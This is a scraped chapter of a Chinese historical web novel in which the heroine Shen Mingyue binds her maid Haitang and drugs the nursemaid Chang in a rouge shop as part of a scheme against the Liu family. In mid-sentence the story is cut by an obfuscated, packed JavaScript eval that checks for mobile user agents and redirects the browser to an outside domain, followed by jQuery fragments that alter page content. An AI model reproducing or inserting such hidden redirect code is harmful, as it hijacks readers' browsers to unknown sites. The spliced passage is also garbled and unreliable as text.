目不能视、手不能动,恐惧如风浪席卷,裹挟着她的躯体不能动弹,呼吸越来越窘迫,似乎要将她全身都力气抽走。 在即将窒息的时刻,头套被摘下,犹如溺水之人浮出水面,她大口喘息起来,还没吸够空气,一团布又塞入口中。 这举动勾起她恶心的经历,拼命想要吐掉,却不能如愿。 此时她已被绑在千星阁内的柱子上,周围是成排的书架,一册册书卷整齐摆放,纤尘不染。 抬头见两道人影立在光中,阴影像山一样压迫过来,她面色瞬间惨白如纸。 沈明月蹲下身,目光中带着邪笑,用手背抚上她的发髻,一路向下,经过前额、脸颊,再到下颌,磨蹭着脖颈间的一片细腻,舍不得挪开手。 “美人儿,你也不想想,你功夫那么好,我脑子被驴踢了,才会找你切磋。” 这调戏的动作与记忆深处的噩梦重叠,海棠感到绝望,胸口剧烈起伏着,瞳孔扩大、肌肉紧绷、牙齿打颤,瑟缩的模样差点让沈明月信以为真。 沈明月依旧在调笑:“入戏了?” 海棠耳边嗡鸣,只觉得痛,撕心裂肺的痛,整个人好似一块干柴被劈开,顺着纹路,自上而下完全碎掉。 痛苦扭曲的面容,她使劲摇摇着头,眼中有东西滚落,是泪水,只有她自己知道,这东西已经很久没出现了。 徐铭似乎不忍看,背过身去。 “真是美人垂泪,我见犹怜,乖乖的,等先生回来疼你。” 沈明月擦掉她脸上晶莹的珍珠,说罢离开,完全没有意识到已将她推入深渊之中。 千星阁门口,徐铭前脚离开,常嬷嬷后脚就赶到,将一件狐裘大氅披在沈明月身上,问道:“王妃怎么独自在这,海棠呢?” 沈明月脸不红心不跳,“我命她去备车,王府的胭脂水粉用不惯,咱们去买些新的。” “这些小事不必劳动王妃,奴婢去就行。” “左右无事,闲着也是闲着,其实我是想出去散散心,看看邺京是什么样子。” 常嬷嬷有些犯难,“这……殿下可允了?” “允了,还拨了侍卫跟随。” “那就好,那就好。” 一听有侍卫,常嬷嬷也就安心了,扶着大姑娘出角门上马车,回首张望,似觉不妥。 之前她见侯爵之家的女眷出行,皆是前呼后拥,今时,除却马夫和侍卫只有她一人跟随,虽有奇怪,但因不知王府的规矩,也不敢贸然询问。 正踟蹰间,就听大姑娘招呼她上车。 “这怎么行,王妃与奴婢尊卑有别……” “嬷嬷上来吧,此处无外人。” 在沈明月的再三邀请下,常嬷嬷才上车,“不等海棠了吗?” “我已命她回去,有她在咱们说话不方便。” 这话常嬷嬷听着舒心,“奴婢就知道姑娘是个明事理的,不会胡来。” 沈明月懒得理会,掀开车帷假装看街景,但常嬷嬷却挪向她挪近一些,掩上车窗,好言说道:“姑娘小心着了风……恕奴婢多嘴,屋里的海棠要多留意些,殿下可待她不一般……” 沈明月觉得好笑,这个八婆,有点精神头全用这上面了,一会儿就让你闭嘴,她沉住气,扯着浮夸的笑容:“还是嬷嬷关心我,这些事以后还要嬷嬷帮我处理。” 随后话锋一转,“嬷嬷可知哪家铺子的胭脂好?” “呦,这可难住奴婢了,姑娘怎会看得上奴婢们用的东西,不过听闻二姑娘一直用花容阁的胭脂。” 花容阁? 这名字好生熟悉,但又想不起来在哪里听过,沈明月没有在意太多,想大约是以前见到过类似的,所以听着熟悉。 常嬷嬷还有好些话要说,但没有了机会,沈明月急切地吩咐装成侍从的徐铭去花容阁。 午间行人少,路程很顺利,不多时便到达目的地。 店中伙计在门口相迎,见朴素的马车上下来的却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15768970|167945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是衣着锦绣之人,尤其是身上的狐裘大氅,更是不凡之物,又见侍从模样非普通小厮,便猜到是权贵之家刻意低调。 他赶紧告诉伙伴去请掌柜,而自己出门迎接,殷勤行礼问安。 “夫人安好,快请进,刚好今日有新制出来的香膏胭脂。” 一声“夫人”让沈明月听着极为别扭,却也无可奈何。 迈进门槛,掌柜打量来人后不可察觉地皱了一下眉,脑中搜索一圈也未想出是哪户人家,随即笑着上前。 “夫人内阁请,”说着走快一步,谦恭地掀开帘子,“小心脚下。” 不等他示意,早有伙计将新品奉上,一一展示。 “夫人请看,这几款胭脂是今年最盛行的,这几款香膏是南边来的货。” 南边?沈明月想大概是南陈,这个时节,只有南方有大量鲜花。 她随手接过一瓶,还未打开盖子,一股清新的茉莉香沁入鼻息,未加思索,“这瓶包起来。” “是,是。”掌柜赶紧接下,“敢问夫人家住何处,回头小的遣人送到贵府门上。” 常嬷嬷鲜少受到这样的尊敬,愈发想显示家世地位,抢先道:“我们是……” “是来京探亲的,不日就要离开。”沈明月接下话头,“掌柜去忙吧,我慢慢挑选,别耽误了掌柜的生意。 “好好,不急,夫人慢选。” 掌柜赶紧带着伙计一起出去,他方才将这批货里最普通的香膏送上,这夫人一眼就相中,可见不是个识货的。 他有自己的小心思,待夫人挑选完再拿出些上等品进去,今日便可稳赚一笔,反正她们要离开,一锤子买卖,不怕找后账。 沈明月拿起一款绘有青松图样的圆形瓷瓶,用指甲挑起轻嗅,而后将手伸向常嬷嬷。 “嬷嬷闻闻,这是什么香?” 常嬷嬷靠近,嗅了嗅,未分辨出味道,而后又靠近些,鼻尖几乎要挨上指甲。 “像鸡舌香……又不像,中间混着一股清苦味……” 她正想着到底是什么香,直起腰身只觉天旋地转,意识忽明忽暗中视线越来越模糊,身体不受控制地下沉。 眼见她要倒下,沈明月赶紧喊道:“来人,快来人。” 掌柜闻声而惊,立即进入内阁,见一人躺卧在地,吓得面如土色,慌忙唤人去请郎中。 紧接着徐铭大步进来,假装搭脉后说道:“嬷嬷是救急复发,宜即刻回去休息。”说完命人将其抬回马车上。 掌柜见他们没有要讹人的意思,长长舒了一大口气,这要是出了人命,传出去好说不好听。 沈明月打圆场,“不想嬷嬷此时发病,给掌柜添麻烦了,我的香膏包好了吗?” “好了,好了。” 掌柜说完双手奉上一个盒子,暗中观察位夫人,见她未有慌张,料想她知道随从有旧疾,这下才彻彻底底放了心。 沈明月被恭恭敬敬地送出来,趁人不注意,将沾过胭脂的两根指甲齐齐折断,丢掉到角落里。 方才挑胭脂的是一根指甲,给常嬷嬷下药的是另一根指甲。 回到马车上,常嬷嬷已被五花大绑,她拍了拍那张令人生厌的脸,见毫无反应,十分满意,这下再无人能阻止她的计划。 她转向徐铭,“一会儿你同我一起进去,不论她们说什么,都不要插言。” “是……”徐铭沉吟一下,问出心中疑惑,“捆住海棠就算了,为何还要毒晕这嬷嬷?” “她们人均八百个心眼子,都是狐狸成精,我不是她们的对手,这敌人能少一个是一个。再者,她去了势必将我的近况告知柳家……徐铭你记住,永远不要让敌人摸清你的情况。” 徐铭点点头,“我明白,这是兵法里说的‘形兵至极、至于无形’。” “对,有长进。”沈明月拍拍他的肩膀,“不过这次,我没把握将人要回来。” 这一点,沈明月对自己有着非常清晰的认知,带兵打仗她或许有两下子,可这暗斗,不是她擅长的领域,否则也不会被陈长生逼得走投无路。 “为什么……”徐铭一听救不出莺儿,表情变得凝重,愁绪爬上眉间。 “莺儿是我逃婚一事的知情人,柳家不会放过她,更想以她为筹码来长期威胁我,如此,不论以后她们有什么要求,我都必须答应。” “所以,”沈明月目光移到常嬷嬷身上,却聚焦到虚无处,带着十二分的坚定,“这次我要釜底抽薪,一劳永逸。”